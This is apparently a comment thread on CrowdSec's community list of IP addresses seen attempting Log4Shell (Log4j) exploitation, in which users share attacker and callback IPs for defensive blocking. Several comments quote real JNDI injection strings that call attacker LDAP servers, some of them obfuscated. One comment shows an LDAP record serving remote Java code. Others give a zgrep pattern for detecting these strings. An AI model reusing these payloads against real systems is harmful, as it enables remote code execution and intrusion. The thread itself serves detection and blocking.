This list is no longer updated, thus the information is no longer reliable.
You can see the latest version (from october 2022) here
This list is no longer updated, thus the information is no longer reliable.
You can see the latest version (from october 2022) here
@blotus 139.59.108.31 should be marked as Benign - Kryptos Logic - https://twitter.com/kryptoslogic/status/1469723996845486090?s=21
https://www.greynoise.io/viz/ip/139.59.108.31
@emilstahl Thanks, good catch !
I've updated the list, the main issue with Kryptos Logic is that they do not identify their IPs (by setting proper reverse DNS records for example), and as we do not have access to the actual logs of the attacks, it's quite complex for us to classify them as benign automatically.
Are these classified for ingress or egress traffic?
@amitmahbubani Ingress.
Hello,
In my case i found theses ips (from HTTP requests and their scripts that download)
111.90.159.106
122.51.164.83
146.71.79.230
185.181.10.234
185.191.32.198
207.38.87.6
3.215.110.66
31.210.20.181
34.81.218.76
42.112.28.216
45.137.151.106
80.211.206.105
82.118.18.201
@MyTheValentinus, can we also collect name and hashes of the scripts?
Hello,
we've seen these:
192.168.50.4
193.3.19.159
167.71.13.196 <- already on list
45.83.193.150
Is there a specific reason why there is not a single IPv6 address here ?
Lots of people just looking for dns canary. Of this list, I checked port 389 and 1389 using ldapsearch -x -h $ip -p $port... Only see one that is still serving exploits, looks like a powershell script payload
javaClassName: foo
javaCodeBase: hXXp://45.146.164.160:8085/
objectClass: javaNamingReference
javaFactory: Runner
Can we get a separate list of only the validated IPs?
Can't load this into any automation when over half the IPs are marked as benign.
Thanks for this awesome list just included in here for a big easy to grepable txt file.
https://github.com/hackinghippo/log4shell_ioc_ips
In case anyone wants it, here's a quick one-liner to pull the validated IPs and spit them out into a text file for things like Palo Alto dynamic lists to ingest.
foreach ($t in ((invoke-webrequest -uri "https://gist.githubusercontent.com/blotus/f87ed46718bfdc634c9081110d243166/raw/2a628672d442985a9850641eef9a139be1f90a56/log4j_exploitation_attempts_crowdsec.csv").content).split("`n")) { if ($t.split(",")[1] -eq "validated") {add-content "JavaNeedsToDie.txt" $t.split(",")[0]}}
From /r/crowdsec
Got a new one here 162.55.90.26
Noticed these IPs in our AWS WAF logs trying to exploit Log4Shell:
two additions we have seen in the last 24 hours
185.220.101.38
61.175.202.154
IPs that are not validated in this list and that are detected in customer environment:
185.220.100.248 (not in list -- tor exit node)
185.220.101.179 (not in list -- tor exit node)
193.3.19.159 (not in list -- callback IP from 185.220.100.248 & 185.220.101.179 -- one of many variotions: ${jndi:ldap://193.3.19.159:53/c)
194.195.244.69 (pending in your list)
188.166.92.228 (not_enough_data in your list)
167.99.164.160 (not_enough_data in your list)
167.99.164.201 (not_enough_data in your list)
134.209.163.248 (callback IP from 168.99.164.160 & 167.99.164.201 & 188.166.92.228 -- one of many variations: ${jndi:ldap://134.209.163.248:80/callback/ldap2)
164.90.199.216 (not in list -- Not used maliciously in our logs, only testing -- ${jndi:ldap://randomstring.dnslog.cn/a)
45.83.193.150 (not in list -- callback IP from 51.105.55.17 & 150.158.189.96 & 195.251.41.139 & 167.71.175.10 & 112.74.52.90 -- $%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D)
162.55.90.26 (not in list -- callback IP from 45.56.80.11 -- ${jndi:ldap://162.55.90.26/2639964726/C)
185.224.139.151 (not in list -- callback IP from 164.52.53.163 -- ${jndi:ldap://185.224.139.151:1389/Exploit)
45.130.229.168 (not in list -- callback IP from 20.71.156.146 & 221.199.187.100 -- one of the variations: /$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D)
Last updated 17/12 13:16 CET+1
104.248.51.21 Log4j attempts :)
find /var/log -name *.gz -print0 | xargs -0 zgrep -E -i '$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
/var/log/apache2/access.log.4.gz:80.245.62.2 - - [12/Dec/2021:21:07:41 +0100] "GET /?x=${jndi:ldap://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com/a} HTTP/1.1" 200 7157 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com}"
167.99.172.99
159.89.133.216
147.182.179.141
137.184.111.180
137.184.102.82
159.89.146.147
137.184.99.237
137.184.96.227
147.182.154.100
134.122.33.6
159.89.154.185
137.184.98.145
137.184.96.216
138.68.250.214
165.227.32.109
167.99.172.148
137.184.102.188
137.184.101.21
159.203.58.73
147.182.146.165
147.182.219.9
137.184.104.73
137.184.98.176
137.184.105.192
137.184.104.197
165.227.37.189
147.182.213.12
161.35.97.10
147.182.150.18
147.182.150.124
159.89.94.219
157.245.129.50
143.110.221.204
161.35.119.60
159.89.85.91
147.182.156.12
137.184.106.119
167.99.172.58
167.99.172.213
147.182.154.110
143.110.221.219
138.197.167.229
147.182.187.229
159.89.150.150
147.182.150.37
147.182.150.23
147.182.146.192
137.184.138.79
137.184.137.242
137.184.107.109
147.182.169.254
Those are all binaryedge scanners. Some of the hostnames
jerry-se-do-na-central-scanners-86.do.binaryedge.ninja
jerry-se-do-na-central-scanners-41.do.binaryedge.ninja
jerry-se-do-na-central-scanners-22.do.binaryedge.ninja
jerry-se-do-na-central-scanners-87.do.binaryedge.ninja
jerry-se-do-na-central-scanners-40.do.binaryedge.ninja
jerry-se-do-na-central-scanners-82.do.binaryedge.ninja
jerry-se-do-na-central-scanners-12.do.binaryedge.ninja
195.54.160.149
58.39.121.78
80.255.7.121
We had a log4j attack come in from 89.45.7.181 and establish a c2 connection to 92.222.136.224
3.94.100.157 - - - CVE-2021-44228
Hello,
New Log4j attack from IP : 98.0.242.10 to an C&C server with this IP 185.8.172.132
The following IPs are registered on behalf of datagridsurface.com which can be checked with a simple lookup
172.104.230.136,scan4.datagridsurface.com.
172.104.230.214,scan5.datagridsurface.com.
172.104.230.234,scan2.datagridsurface.com.
172.104.230.246,scan3.datagridsurface.com.
172.104.230.25,scan1.datagridsurface.com.
194.233.160.160,scan6.datagridsurface.com.
194.233.160.161,scan9.datagridsurface.com.
194.233.160.162,scan7.datagridsurface.com.
194.233.160.164,scan8.datagridsurface.com.
194.233.160.165,scan10.datagridsurface.com.
194.163.182.89 is trying other fuzzing techniques besides log4j
194.163.182.89 is trying other fuzzing techniques besides log4j
You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89
194.163.182.89 is trying other fuzzing techniques besides log4j
You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89
are you working for them? the page is behind a paywall... please share the details here
194.163.182.89 is trying other fuzzing techniques besides log4j
You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89
are you working for them? the page is behind a paywall... please share the details here
Hey @avipars
There is no paywall, it just requires creating a free account (only user email and password are necessary). Then you can use the Console to monitor your CrowdSec instances - if you have any - or to explore the CTI - an API is also available
This list has been generated by the Crowdsec community.
If you are already using crowdsec and want to help build the list of bad actors trying to exploit the log4j2 vulnerability, you can just run
cscli collections install crowdsecurity/http-cve
and reload your crowdsec agent.If you are not using crowdsec yet, the setup documentation can be found here.
This list includes both curated data (validated IPs) and raw data (that we were not able to assess automatically based on the community reports) so it's possible some false positives are present in it.
Some explanation on the status attribute:
We also made available a real-time tracker on our website: https://crowdsec.net/log4j-tracker/